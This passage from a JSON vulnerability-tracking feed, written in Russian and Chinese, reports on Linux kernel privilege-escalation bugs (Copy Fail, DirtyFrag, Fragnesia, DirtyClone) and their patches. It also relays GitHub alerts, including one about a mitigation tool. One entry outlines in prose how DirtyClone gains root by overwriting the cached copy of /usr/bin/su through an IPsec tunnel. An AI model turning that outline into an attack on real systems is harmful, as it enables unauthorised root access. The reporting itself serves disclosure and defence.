\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Debian, Ubuntu \u0438 Fedora \u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u042d\u0442\u043e \u0443\u0436\u0435 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0441 \u0442\u0435\u043c \u0436\u0435 \u0441\u0430\u043c\u044b\u043c \u0441\u0431\u043e\u0435\u043c: \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0435\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0430 \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0443\u0434\u0430, \u043a\u0443\u0434\u0430 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0431\u044b \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0420\u0430\u043d\u0435\u0435:\n\n- Copy Fail (CVE-2026-31431) \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0432 \u043a\u043e\u043d\u0446\u0435 \u0430\u043f\u0440\u0435\u043b\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0435\u0445\u0431\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446.\n\n- DirtyFrag (CVE-2026-43284 \u0438 CVE-2026-43500) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 7 \u043c\u0430\u044f, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u044f \u043f\u0443\u0442\u0438 IPsec ESP \u0438 RxRPC \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n- Fragnesia (CVE-2026-46300) \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c 13 \u043c\u0430\u044f \u0438 \u043e\u0431\u043e\u0448\u043b\u0430 \u043f\u0430\u0442\u0447 DirtyFrag \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043e\u0448\u0438\u0431\u043a\u0435 \u0441\u0431\u0440\u043e\u0441\u0430 \u0444\u043b\u0430\u0433\u0430 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 skb_try_coalesce().\n\n\u041a\u0430\u0436\u0434\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u043b\u043e \u043e\u0434\u0438\u043d \u043f\u0443\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438. DirtyClone \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u0430 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 __pskb_copy_fclone(), \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f skb_shift(), \u0431\u043e\u043b\u0435\u0435 \u0448\u0438\u0440\u043e\u043a\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432, \u0433\u0434\u0435 \u0442\u043e\u0442 \u0436\u0435 \u0444\u043b\u0430\u0433 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u0440\u044f\u043d.\n\n\u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042d\u0442\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0443\u0447\u0430\u0441\u0442\u043e\u043a \u043a\u043e\u0434\u0430, \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u044b skb, \u0434\u043e\u043b\u0436\u0435\u043d \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0431\u0438\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430.\n\n\u0412 \u044f\u0434\u0440\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043d\u0443\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0445\u0440\u0430\u043d\u044f\u0449\u0443\u044e\u0441\u044f \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0430 \u043e\u0434\u0438\u043d-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 \u0444\u043b\u0430\u0433 \u0432 \u043b\u044e\u0431\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0437\u0430\u043f\u0438\u0441\u0438. \u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u043b \u043f\u0443\u0442\u044c, \u0433\u0434\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u043b\u0441\u044f.\n\n\u0425\u0451\u043d\u0432\u0443 \u041a\u0438\u043c 16 \u043c\u0430\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u0431\u043e\u043b\u0435\u0435 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0439 \u043f\u0430\u0442\u0447, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0441\u0442\u0430\u0432\u0448\u0438\u0445\u0441\u044f \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432.\n\n\u041e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e 21 \u043c\u0430\u044f (\u043a\u043e\u043c\u043c\u0438\u0442 48f6a5356a33), 23 \u043c\u0430\u044f \u0435\u043c\u0443 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d CVE-2026-43503, \u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 Linux v7.1-rc5 24 \u043c\u0430\u044f.", "creation_timestamp": "2026-07-13T13:00:06.815366Z"}, {"uuid": "a7c46cfb-1d57-4878-b385-fe5a12e2f27a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89584", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a juliosuas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 05:23:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFast, auditable Linux mitigation for CVE-2026-31431 Copy Fail: algif_aead block, verification, and AF_ALG seccomp hardening.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:23.238078Z"}, {"uuid": "609e1e71-7db8-438f-ab6b-8a663129771f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-simple-test\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tematemaru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 07:54:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:23.280132Z"}, {"uuid": "4eb50dc8-703e-40e3-9dfe-35b6922290b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89594", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-simple-test\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tematemaru\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 07:54:21\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:39.169709Z"}, {"uuid": "33ec6302-7082-4f0b-a3eb-f8b9a7e8f76d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/89584", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-guard\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a juliosuas\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-19 05:23:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFast, auditable Linux mitigation for CVE-2026-31431 Copy Fail: algif_aead block, verification, and AF_ALG seccomp hardening.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:39.118560Z"}, {"uuid": "e3fbc8da-6ed7-42e5-83bd-99c05e387556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/8349", "content": "DirtyClone\u00a0- \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux \u0438\u0437 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430\u00a0DirtyFrag, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 25 \u0438\u044e\u043d\u044f JFrog  \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 PoC - \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u0443\u044e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u044e \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\n\nCVE-2026-43503 (CVSS 8.8) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u0432\u0440\u0435\u0434\u0438\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c, \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u0443\u044e \u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root. \u041f\u0430\u0442\u0447 \u0431\u044b\u043b \u0432\u043a\u043b\u044e\u0447\u0435\u043d \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u0443\u044e \u0432\u0435\u0442\u043a\u0443 21 \u043c\u0430\u044f.\n\n\u041a\u043e\u0433\u0434\u0430 \u044f\u0434\u0440\u043e \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f, \u0434\u0432\u0435 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u044f\u044e\u0442 \u0444\u043b\u0430\u0433 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u0435\u0447\u0430\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0430\u043a\u0435\u0442\u0430 \u043a\u0430\u043a \u043e\u0431\u0449\u0443\u044e \u0441 \u0444\u0430\u0439\u043b\u043e\u043c \u043d\u0430 \u0434\u0438\u0441\u043a\u0435. \u0418\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043b\u0430\u0433\u0430 \u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 /usr/bin/su, \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438 \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u044f\u0434\u0440\u043e \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.\n\n\u041e\u043d \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u044c IPsec, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u0430 \u044d\u0442\u0430\u043f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0431\u0430\u0439\u0442\u0430\u043c\u0438, \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c. \u041f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b su \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 root.\n\n\u0424\u0430\u0439\u043b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043a\u043e\u043f\u0438\u0438, \u0445\u0440\u0430\u043d\u044f\u0449\u0435\u0439\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u044f\u0434\u0440\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0435\u0433\u043e \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442, \u0430\u0442\u0430\u043a\u0430 \u043d\u0435 \u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u0435\u0434\u043e\u0432 \u0430\u0443\u0434\u0438\u0442\u0430, \u0430 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b.\n\n\u0414\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f CAP_NET_ADMIN \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0442\u0443\u043d\u043d\u0435\u043b\u044f IPsec \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u0412 Debian \u0438 Fedora \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u044d\u0442\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d.\n\n\u0412 Ubuntu 24.04 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0435\u043d \u0447\u0435\u0440\u0435\u0437 AppArmor \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430. \u041a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0445\u043e\u0441\u0442\u0430, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0432\u043d\u0435\u0441\u0435\u043d\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0438\u043c\u0435\u043d, \u0432\u043b\u0438\u044f\u044e\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, 